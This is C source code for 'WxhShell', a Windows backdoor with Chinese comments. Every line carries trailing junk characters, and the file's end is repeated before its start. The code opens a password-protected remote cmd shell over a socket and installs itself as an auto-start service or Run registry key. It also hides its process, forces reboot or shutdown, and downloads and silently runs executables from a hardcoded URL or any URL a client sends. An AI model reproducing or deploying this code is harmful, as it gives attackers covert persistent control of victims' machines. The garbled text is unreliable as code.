    if(Boot(SHUTDOWN)) U{2BVqM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t{xf:~B  
    else { zk$FkbX  
    closesocket(wsh); I'A_x$ib6  
    ExitThread(0); ojaws+(& y  
    } 9IjIIM2y  
    break; yA)/Q Yge  
    } \pPY37l  
  // 获取shell X <f8,n  
  case 's': { [xSF6  
    CmdShell(wsh); uatm/o^~,  
    closesocket(wsh); l4F%VR4KT  
    ExitThread(0); 2BQ j  
    break; q]T1dz?  
  } z[b@ V  
  // 退出 iW$_zgN  
  case 'x': { d' !]ZWe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A,JmX  
    CloseIt(wsh); ns9U/ :L  
    break; /rK}?U  
    } (?n=33}Ci  
  // 离开 Q_"]+i]s@  
  case 'q': { ck: T,F{}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [%q@]\U$s  
    closesocket(wsh); dq(uVW^&ae  
    WSACleanup(); a zCf  
    exit(1); \y97W&AN  
    break; gH12[Us'`  
        } /s x@$cvW  
  } JZ)RGSG i  
  } ,]|#[8  
j'Gt&\4  
  // 提示信息 PQy4{0 _  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -.1y(k^4E  
} T -.%  
  } ]O]4z,n  
T$>WE= Y  
  return; 9]k @Q_  
} h}[-'>{  
e%svrJ2   
// shell模块句柄 /KFfU1  
int CmdShell(SOCKET sock) SW H2  
{ j_K4;k#r  
STARTUPINFO si; @Xt*Snd  
ZeroMemory(&si,sizeof(si)); T. }1/S"m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bGN:=Y'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Y^23W F  
PROCESS_INFORMATION ProcessInfo; nr95YSH  
char cmdline[]="cmd"; ,c;Kzp>e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?^7t'`zk  
  return 0; aRj9E}  
} $Ipg&`S"  
yQ U{ zY  
// 自身启动模式 .CL[_;}  
int StartFromService(void) Q A< Rhv,  
{ Z/W:97M  
typedef struct x3hB5p$q  
{ .!Oo|m`V@  
  DWORD ExitStatus; nL5cK:  
  DWORD PebBaseAddress; C uFSeRe  
  DWORD AffinityMask; UbXh,QEG*  
  DWORD BasePriority; {&cJDqz5=  
  ULONG UniqueProcessId; ^NRl//  
  ULONG InheritedFromUniqueProcessId; caU0\VS  
}   PROCESS_BASIC_INFORMATION; '9laa=H%8  
fa-IhB1!K  
PROCNTQSIP NtQueryInformationProcess; \z>fb%YW  
`nUXDmdwzO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q3mJ782p]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v_BcTzQ0S  
@:j}Jmg  
  HANDLE             hProcess; R_ B7EP  
  PROCESS_BASIC_INFORMATION pbi; B~6&{7 xc%  
|9uOUE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0@[$lv;OS  
  if(NULL == hInst ) return 0; 8*W#DH!  
.I7pA5V{#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *T- <|zQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {o)Lc6T8s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @'w"R/,n-@  
:G [|CPm-  
  if (!NtQueryInformationProcess) return 0; QqDC4+ p"  
VyXKZ%\dQ/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _G[g;$ <  
  if(!hProcess) return 0; &:;:"{t}Do  
~FZ&.<s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x u>9(,l  
V_R@o3kv;  
  CloseHandle(hProcess); xR-%L  
p ?*Q- f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); - \ 5v^l  
if(hProcess==NULL) return 0; RM]\+BK  
],>@";9u"  
HMODULE hMod; ?~l6K(*2  
char procName[255]; a+[RS]le  
unsigned long cbNeeded; SOs:]U-T3  
SbND Y{5RO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !F*5M1Kjd  
c' ^?/$H|  
  CloseHandle(hProcess); wu7Lk3  
Umz KY  
if(strstr(procName,"services")) return 1; // 以服务启动 <5-[{Q/2z  
%<)2/|lCd  
  return 0; // 注册表启动 <C_jF  
} w;;BSJ]+[  
|EIng0a  
// 主模块 9/{(%XwX  
int StartWxhshell(LPSTR lpCmdLine) ~,d,#)VE2q  
{ FTH|9OP  
  SOCKET wsl; . S!mf  
BOOL val=TRUE; !Xh=k36  
  int port=0; tGD6AI1"I  
  struct sockaddr_in door; i{Uc6 R6  
&Q%zl9g(g  
  if(wscfg.ws_autoins) Install(); yd^ {tQi  
+ @A  
port=atoi(lpCmdLine); Rvkedb  
^T( .k=  
if(port<=0) port=wscfg.ws_port; 7G:s2432  
AhCW'.  
  WSADATA data; g9m-TkNk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 10G}{  
h(<,fg1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /vY(o1o x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _- [''(E  
  door.sin_family = AF_INET; o906/5M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qPWP&k  
  door.sin_port = htons(port); }HL]yDO  
9"@\s$ OBk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q YC;cKv  
closesocket(wsl); {i1| R"ta  
return 1; 9 3U_tQ&1?  
} nxY\|@  
u9:`4b   
  if(listen(wsl,2) == INVALID_SOCKET) { *]. 7dec/  
closesocket(wsl); sWQfr$^A  
return 1; `uq8G  
} A ;G;^s  
  Wxhshell(wsl); KLU-DCb%  
  WSACleanup();  jPC[_g  
Qwz}B  
return 0; v&Ii^?CvO  
f& 0M*o,)  
} qsF<!'m7`  
wJg1Y0nh  
// 以NT服务方式启动 W$QcDp]#p}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [NQOrcAQ  
{ $[9%QQk5<L  
DWORD   status = 0; 9TU88]  
  DWORD   specificError = 0xfffffff; 1;d$#j  
8a &:6Zuo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zvhsyz|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JBD7h5|Lc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,f kcp]}  
  serviceStatus.dwWin32ExitCode     = 0; &w4?)#  
  serviceStatus.dwServiceSpecificExitCode = 0; `0rd26Qro  
  serviceStatus.dwCheckPoint       = 0; }Dp*}=?E  
  serviceStatus.dwWaitHint       = 0; =AsEZ)" _  
BoA/6FRi[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R7]l{2V#^  
  if (hServiceStatusHandle==0) return; TSA,WP\  
KMt`XaC9e  
status = GetLastError(); B6=ebM`q  
  if (status!=NO_ERROR) ,c$,!.r  
{ rjl`&POqc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 32l3vv.j  
    serviceStatus.dwCheckPoint       = 0; ImCe K  
    serviceStatus.dwWaitHint       = 0; iy6On,UL  
    serviceStatus.dwWin32ExitCode     = status; 2^XGGB0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7;u e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4)E_0.C  
    return; #w;v0&p  
  } rI{=WPI&WU  
FRcy`)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Twh!X*uQ  
  serviceStatus.dwCheckPoint       = 0; @)IjNplYkw  
  serviceStatus.dwWaitHint       = 0; r}Ohkr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J%8(kWQ|  
} Us%T;gW  
o-;E>N7t  
// 处理NT服务事件,比如:启动、停止 |HU@ >  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M\C"5%2Mu  
{ +_s #2  
switch(fdwControl) .R`5 Qds*l  
{ )js)2L~  
case SERVICE_CONTROL_STOP: #XK2Ien)Z  
  serviceStatus.dwWin32ExitCode = 0; M-\Y"]sW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]5BX :%  
  serviceStatus.dwCheckPoint   = 0; sPd Gw~{  
  serviceStatus.dwWaitHint     = 0; ,"2s`YC  
  { siXr;/n"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {2qFY 5H  
  } BMhy=+\  
  return; [vge56h  
case SERVICE_CONTROL_PAUSE: U -Y03  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c_\YBe]wJ  
  break; ;V@WtZv  
case SERVICE_CONTROL_CONTINUE: 7}1~%:6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;sfb 4x4  
  break; Ok{*fa.PK  
case SERVICE_CONTROL_INTERROGATE: >O1[:%Z1  
  break; g$n7CXoT  
}; ^F>cp ,x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k- Q%.o  
} ot @|!V  
4B=2>k  
// 标准应用程序主函数 sfLMk E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4f@o mAM  
{ ^<;V]cY`  
,_|]Ufr!a  
// 获取操作系统版本 hp8%.V$f  
OsIsNt=GetOsVer(); f6|KN+.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vw[6t>`  
gHhh>FFAq  
  // 从命令行安装 Tfh 2.  
  if(strpbrk(lpCmdLine,"iI")) Install(); FE" y\2}  
- *F(7$  
  // 下载执行文件 Kqun^"Df  
if(wscfg.ws_downexe) {  R=.4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S2n39 3  
  WinExec(wscfg.ws_filenam,SW_HIDE); yPM3a7-Bm  
} ]FD'5p{  
t'9*R7=  
if(!OsIsNt) { u?>B)PW  
// 如果时win9x,隐藏进程并且设置为注册表启动 DQMHOd7g  
HideProc(); I[b}4M6E  
StartWxhshell(lpCmdLine); ?/TSi0R  
} rJFc({ 0  
else qNI, 62  
  if(StartFromService()) VQY&g;[d  
  // 以服务方式启动 (Lo%9HZ1Mx  
  StartServiceCtrlDispatcher(DispatchTable); b:=TB0Fx?n  
else rI^zB mrr  
  // 普通方式启动 r~+\ Y"rM  
  StartWxhshell(lpCmdLine); |\_^ B  
[qdRUV'  
return 0; ~jK{ ,$:=  
} t(GR)&>.2  
&P.4(1sC  
]DZE%  
{)DHH:n  
=========================================== 6Z#\CixG  
$f,n8]  
<$6QDfa#  
p7);uF^O%  
~CVe yk< (  
tS|9fBdCs  
" Ys -T0  
,\X@~ j  
#include <stdio.h> .udv"?!z  
#include <string.h> RbCPmiZcH  
#include <windows.h> A; 5n:Sd  
#include <winsock2.h> wx\v:A  
#include <winsvc.h> Z?pnj8h-&  
#include <urlmon.h> _tSAI  
76>7=#m0u'  
#pragma comment (lib, "Ws2_32.lib") [v$0[IuY,  
#pragma comment (lib, "urlmon.lib") a,3j,(3  
cHcmgW\4  
#define MAX_USER   100 // 最大客户端连接数 T_X6Ulp  
#define BUF_SOCK   200 // sock buffer 7Q7-vx  
#define KEY_BUFF   255 // 输入 buffer e2z h&j  
$p#%G#T  
#define REBOOT     0   // 重启 Gq_-Val]"  
#define SHUTDOWN   1   // 关机 ` L >  
;^ La"m  
#define DEF_PORT   5000 // 监听端口 xBUya4w  
HODz*pI  
#define REG_LEN     16   // 注册表键长度 /R~1Zj2&  
#define SVC_LEN     80   // NT服务名长度 *4U^0e  
Jo$G,Q  
// 从dll定义API IGS1|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dw=gs{8D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wUiys/ OVM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3l[Mc Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?notxE7 ]  
^M%uV  
// wxhshell配置信息 %@;6^=  
struct WSCFG { d}LRl"_n  
  int ws_port;         // 监听端口 @S|jC2^+h  
  char ws_passstr[REG_LEN]; // 口令 H~GQ;PhRx  
  int ws_autoins;       // 安装标记, 1=yes 0=no A 6OGs/:&  
  char ws_regname[REG_LEN]; // 注册表键名 WX}xmtLs  
  char ws_svcname[REG_LEN]; // 服务名 uum;q-"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F.-R r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lE!a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GM<BO8Y.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @mE)|.f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S;~g3DC d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ix W@7m  
t| 9 GS|  
}; |u0( t,T  
AtU v71D:  
// default Wxhshell configuration ( Fynok  
struct WSCFG wscfg={DEF_PORT, TT50(_8  
    "xuhuanlingzhe", *.~6S3}  
    1, cCo`~7rE  
    "Wxhshell", +j(d| L\  
    "Wxhshell", /CuXa%Ci^  
            "WxhShell Service", T<JwD[ (  
    "Wrsky Windows CmdShell Service", SrFS#  
    "Please Input Your Password: ", ?+g`HTY u  
  1, AZzuI*  
  "http://www.wrsky.com/wxhshell.exe", nl(WJKq'  
  "Wxhshell.exe" K+Z+wA?  
    }; )uK{uYQl  
3uZJ.Fb  
// 消息定义模块 |} {B1A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `W dD8E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l IUuA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; : p{+G  
char *msg_ws_ext="\n\rExit."; '" X_B0k  
char *msg_ws_end="\n\rQuit."; !(n4|Wd  
char *msg_ws_boot="\n\rReboot..."; V[}4L| ad  
char *msg_ws_poff="\n\rShutdown..."; >N;F8v  
char *msg_ws_down="\n\rSave to "; Ypeiy `.  
}tH[[4tw,  
char *msg_ws_err="\n\rErr!"; R+nMy=I%8  
char *msg_ws_ok="\n\rOK!";  )LJnLo+  
hq:&wN 7Q  
char ExeFile[MAX_PATH]; s@z}YH  
int nUser = 0; ~7$&WzD  
HANDLE handles[MAX_USER]; ^qg?6S4  
int OsIsNt; L7= Q<D<  
n6*En7IVh  
SERVICE_STATUS       serviceStatus; !L;\cl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Aub]IO~  
Di@GY!  
// 函数声明 N[<H7_/3  
int Install(void); r'dr9"-{  
int Uninstall(void); p. R2gl1m  
int DownloadFile(char *sURL, SOCKET wsh); 3' ~gvi I  
int Boot(int flag); B|C/ Rk6?  
void HideProc(void); &?uz`pv2  
int GetOsVer(void); HQUeWCN  
int Wxhshell(SOCKET wsl); .s<*'B7&  
void TalkWithClient(void *cs); `+zWu 55;  
int CmdShell(SOCKET sock); >iOzl wmG  
int StartFromService(void); /0W9g  
int StartWxhshell(LPSTR lpCmdLine); y kW [B  
:9R=]#uD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HJ2*y|u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _(d.!qGz  
cooUE<a  
// 数据结构和表定义 !eAo  
SERVICE_TABLE_ENTRY DispatchTable[] = (x"BR  
{ r6;$1 K*0  
{wscfg.ws_svcname, NTServiceMain}, cXR1grz  
{NULL, NULL} (]RM6i7  
}; SG?Nsp^%`B  
5GA\xM-  
// 自我安装 `C_jP|[e  
int Install(void) 3#vinz  
{ UWZa|I~:J  
  char svExeFile[MAX_PATH]; e/*$^i+S  
  HKEY key; |.F  
  strcpy(svExeFile,ExeFile); V~T@6S  
J0 k  
// 如果是win9x系统,修改注册表设为自启动 :-iMdtm  
if(!OsIsNt) { Ja]?&j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z1ALq5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B d^"=+c4  
  RegCloseKey(key); Fhv2V,nZ<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T1` |~Z?g-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C@Nv;;AlU  
  RegCloseKey(key); K*IxUz(  
  return 0; #Ei,(xiP  
    } 6oinidB[l  
  } WEa2E?*  
} F$Ca;cP"  
else { c{>uqPTY  
/w8"=6Vv~  
// 如果是NT以上系统,安装为系统服务 fQ'.8'>T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0l=+$& D  
if (schSCManager!=0) P_gYz!  
{ zf.- I  
  SC_HANDLE schService = CreateService H{?9CxYa  
  ( j}F-Xs+  
  schSCManager, 3IR ^  
  wscfg.ws_svcname, >S1)YKgz  
  wscfg.ws_svcdisp, 'q>2t}KG  
  SERVICE_ALL_ACCESS, `^(jm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `k; KBW  
  SERVICE_AUTO_START, ZUp\Ep}  
  SERVICE_ERROR_NORMAL, Y4F6qyP)"  
  svExeFile, !)qQbk  
  NULL, 4Hb $0l  
  NULL, aup6?'G;  
  NULL, dI*'!wK  
  NULL, DY{cQb  
  NULL e,k2vp!<&  
  ); /<&h@$NHH4  
  if (schService!=0) ?\/qeGW6G  
  { 1^dJg8  
  CloseServiceHandle(schService); _TUt9}  
  CloseServiceHandle(schSCManager); $&Kq*m 0g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kvGCbRC  
  strcat(svExeFile,wscfg.ws_svcname); 'r} zY-FM`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3L _I[T$s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TwvAj#j  
  RegCloseKey(key); a=xT(G0Re  
  return 0; ?X9]HlH  
    } Cs@ +r  
  } H@l}[hkP  
  CloseServiceHandle(schSCManager); >Z Ke  
} S'U@X  
} p<`+sf}A:  
[4+q+  
return 1; 3+xy4 G@L  
} +'#oz+  
b[@V Ya  
// 自我卸载 |<`.fOxJP  
int Uninstall(void) Aaw(Ed  
{ bm}6{28R  
  HKEY key; ~%ozgzr^  
U>S`k6  
if(!OsIsNt) { "R9Yb,tIN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D);'pKl  
  RegDeleteValue(key,wscfg.ws_regname); m-V02's  
  RegCloseKey(key); .5> 20\b2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nf9fb?  
  RegDeleteValue(key,wscfg.ws_regname); y69J%/c ra  
  RegCloseKey(key); P2 0|RvE  
  return 0; k_GP> b\"k  
  } YCy22@C  
} PoShQR<  
} t~M $%)h  
else { OQ4c#V?  
-Dzsa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f+Dn9t  
if (schSCManager!=0) w7-WUvxl  
{ XD-^w_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,xths3.K  
  if (schService!=0) #\4 b:dv  
  { Qu%D  
  if(DeleteService(schService)!=0) { Di Or{)a  
  CloseServiceHandle(schService); 6'OO-o  
  CloseServiceHandle(schSCManager); -s__ E  
  return 0; :Gh~fm3}  
  }  0=6/yc  
  CloseServiceHandle(schService); nhdTTap&9  
  } 0O2n/`'  
  CloseServiceHandle(schSCManager); sI 4yG  
} U!e6FHj7  
} 2L\3S ukj  
.tF|YP==  
return 1; {<w +3Va  
} BH@b1}  
UP2.]B!d  
// 从指定url下载文件 */OI *{Q  
int DownloadFile(char *sURL, SOCKET wsh) %85Icg  
{ W7UtA.2LT  
  HRESULT hr; FA>1x*;c  
char seps[]= "/"; rOl6lQW  
char *token; u/AT-e r;  
char *file; |V`S >m%N  
char myURL[MAX_PATH]; IS]{}Y\3H  
char myFILE[MAX_PATH]; gbOCR1PBg  
\gccQig1CJ  
strcpy(myURL,sURL); mog9jw  
  token=strtok(myURL,seps); b>cafu  
  while(token!=NULL) /N^~U&7  
  { 'pP-rdx  
    file=token; `1p 8C%  
  token=strtok(NULL,seps); tfiqr|z  
  } $V8vrT#:  
-!*p*3|03|  
GetCurrentDirectory(MAX_PATH,myFILE); Q e1oT)  
strcat(myFILE, "\\"); #Ws 53mT  
strcat(myFILE, file); 6E9N(kFYs  
  send(wsh,myFILE,strlen(myFILE),0); 5M?mYNQR/H  
send(wsh,"...",3,0); A['uD<4b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y7zkAXhJ  
  if(hr==S_OK) IG.f=+<0  
return 0; 6 ,N6jaW  
else M%=P)cC  
return 1; p/|(,)'+jx  
2eok@1  
} v@T'7?s.  
]b[,LwB\`~  
// 系统电源模块 rm+v(&  
int Boot(int flag) 85>S"%_  
{ p$!@I  
  HANDLE hToken; B.-A $/  
  TOKEN_PRIVILEGES tkp; 2mJ:c  
c%<2z  
  if(OsIsNt) { IUhp;iH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R40W'N 1%q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wz@FrRP=  
    tkp.PrivilegeCount = 1; Y"> 4Qx4W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P"4Mm, C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~8Sqa%F>  
if(flag==REBOOT) { k@q Wig  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B 1w0cS%%:  
  return 0; !Q[}s #g  
} ^!@*P,'I  
else { O@`J_9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t* z'c  
  return 0; 5upShtC  
} 4%bTj,H#  
  } Hptq,~_t  
  else {  [y{E  
if(flag==REBOOT) { ~PUsgL^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =49o U  
  return 0; !d4HN.a7+u  
} T8q[7Zn  
else { :c;_a-69  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a"qR J-@  
  return 0; /Nqrvy=  
} OLFt;h  
} ??TdrTS  
</w 7W3F  
return 1; y''0PSfb#  
} <lx^aakk!  
X\G)81Q.S  
// win9x进程隐藏模块  wF;B@  
void HideProc(void) U(A4v0T  
{ 9 x [X<  
LV=^jsQ5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -R@JIe_28f  
  if ( hKernel != NULL ) ,^+#M{Z  
  { 2E$i_jc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s*{mT6s+T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }B*,mn2N  
    FreeLibrary(hKernel); 9L=;KtE1  
  } | M _%QM.  
)=(n/vckM  
return; z[FI2jl  
} 9 d] tjT  
T+BIy|O  
// 获取操作系统版本 xc *!W*04  
int GetOsVer(void) LI:?Y_r  
{ o~}1 oN  
  OSVERSIONINFO winfo; 5\+EHW!o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5)x6Q|-u  
  GetVersionEx(&winfo); toN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4 f3=`[%  
  return 1; !SN WB  
  else u mqKFM$  
  return 0; wjg}[R@!  
} ${0%tCE  
y$v@wb5  
// 客户端句柄模块 2:/u2K  
int Wxhshell(SOCKET wsl) 7Ff?Ysr  
{ Ahd\TH  
  SOCKET wsh; hC|KH}aCR)  
  struct sockaddr_in client; IKtiR8  
  DWORD myID; ~e+0c'n\  
IF$^ 0q  
  while(nUser<MAX_USER) '@S,V/jy0z  
{ HD~jU>}}  
  int nSize=sizeof(client); J,`_,T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ha ik  
  if(wsh==INVALID_SOCKET) return 1; w+3>DEfz  
u,!4vKx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b e_C>v  
if(handles[nUser]==0) @?j@yRe  
  closesocket(wsh); )MMhlcNC  
else <Q\H  
  nUser++; kYmo7  
  } vsw7|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lbG}noqb  
j& <tdORT  
  return 0; d{iL?>'?^  
} +H?<}N*T  
QQSH +  
// 关闭 socket &s2#1  
void CloseIt(SOCKET wsh) 0K`ZX&K?W  
{ B>ge, }{  
closesocket(wsh); '[n)N@h  
nUser--; }^IwQm*i  
ExitThread(0); nh?9R&  
} 4*YOFU}l  
L;4[ k;5  
// 客户端请求句柄 @\S]]oLn  
void TalkWithClient(void *cs) 1Q0%7zRirI  
{ ;7wwY$PBH  
;!^ +N  
  SOCKET wsh=(SOCKET)cs; ./'; P <)  
  char pwd[SVC_LEN]; 2z[r@}3  
  char cmd[KEY_BUFF]; n=;';(wR[  
char chr[1]; `X3Xz!  
int i,j; rO5u~"v]  
)A"ZV[eOoQ  
  while (nUser < MAX_USER) {  W{L  
;`;G/1]#9  
if(wscfg.ws_passstr) { Z={D0`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [..,(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xcAF  
  //ZeroMemory(pwd,KEY_BUFF); V@ LN 1|  
      i=0; `WP@ZSC6  
  while(i<SVC_LEN) { >a?OXqYP  
D$Kz9GVZq  
  // 设置超时 y*y`t6D  
  fd_set FdRead; e~tr^$/(  
  struct timeval TimeOut; iLjuE)6-$  
  FD_ZERO(&FdRead); d3\OHkM0^  
  FD_SET(wsh,&FdRead); 9k(*?!\;  
  TimeOut.tv_sec=8; rSM$E  
  TimeOut.tv_usec=0; kQqBHA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( [K2:n\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v; je<DT  
y21)~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L7i}Ga!8  
  pwd=chr[0]; 16a_GwfM  
  if(chr[0]==0xd || chr[0]==0xa) { E \ K  
  pwd=0; E`A<]dAoK  
  break; L"Qh_+   
  } i5ajM,i/K  
  i++; R>/QA RX  
    } "$`wk  
D2>hMc  
  // 如果是非法用户,关闭 socket 4.,KEt'H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <K=@-4/Bp  
} Eqz4{\   
?|%\<h@;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pmqx ;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n25irCD`  
ORV}j, Ym  
while(1) { V%X:1 8j  
c^i"}2+  
  ZeroMemory(cmd,KEY_BUFF); 3bT6W, J4T  
[[";1l  
      // 自动支持客户端 telnet标准   OqEg{o5 a&  
  j=0; {^PO3I  
  while(j<KEY_BUFF) { 2LhfXBWf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pDLu+ }@  
  cmd[j]=chr[0]; c n\k`8  
  if(chr[0]==0xa || chr[0]==0xd) { f_Wkg)g  
  cmd[j]=0; +YGw4{\EL  
  break; _A@fP[C  
  } zhVa.r A  
  j++; Ov0O#`  
    } : ;E7+m  
3i@ "D  
  // 下载文件 KdBq@  
  if(strstr(cmd,"http://")) { !=~s/{$PE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .}L-c>o"o  
  if(DownloadFile(cmd,wsh)) &cv@Kihq(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0U>t>&,"  
  else *` @XKK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %a)0?U  
  } Q:-%3)g<<  
  else { zIAu3  
EI?d(K  
    switch(cmd[0]) { X/- W8  
  fD3jwPL  
  // 帮助 ,ZzB#\  
  case '?': { )vEHLp.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a>&;K@  
    break; uQ)JC 7b\  
